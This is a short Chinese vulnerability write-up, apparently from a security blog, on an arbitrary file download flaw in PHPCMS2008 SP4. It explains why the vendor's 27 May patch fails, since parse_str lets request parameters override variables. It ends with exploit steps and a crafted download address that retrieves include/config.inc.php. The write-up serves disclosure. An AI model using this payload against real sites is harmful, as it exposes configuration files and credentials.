PHPCMS2008 100527版本网站管理系统下载任意文件漏洞

5月24日,PHPcms2008 SP4出了一个下载任意文件的漏洞。

https://www.lcx.cc/post/123/


5月27日,该系统官方出了一个补丁。

但是依然没有完全的修复这个下载任意文件的漏洞。杯具.....

漏洞原因:

phpcms2008sp4 下载任意文件漏洞发布后,27号官方的补丁是这样的:
down.php
if(preg_match('/\.php/i',$f) || strpos($f, ":\\")) showmessage('地址有误'); //12行
没补丁前是这样的:
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误'); //12行
可以看出两者的区别。
但同样是这个文件中:
parse_str($a_k);//8行
知道这里还有更好的利用方法了,再看文件:
download.php
if($m) $fileurl = trim($s).trim($fileurl); //25行左右

什么也不说,利用parse_str方法,可以下载任意文件。
而且,parse_str的利用,还可以利用到其他地方,如覆盖下面的某些变量的利用。


EXP:

注册会员
发布一篇下载的文章(不需要通过审核)
下载地址填上:
down|p&s=include/config.inc.ph&m=1
然后预览,再点下载即可。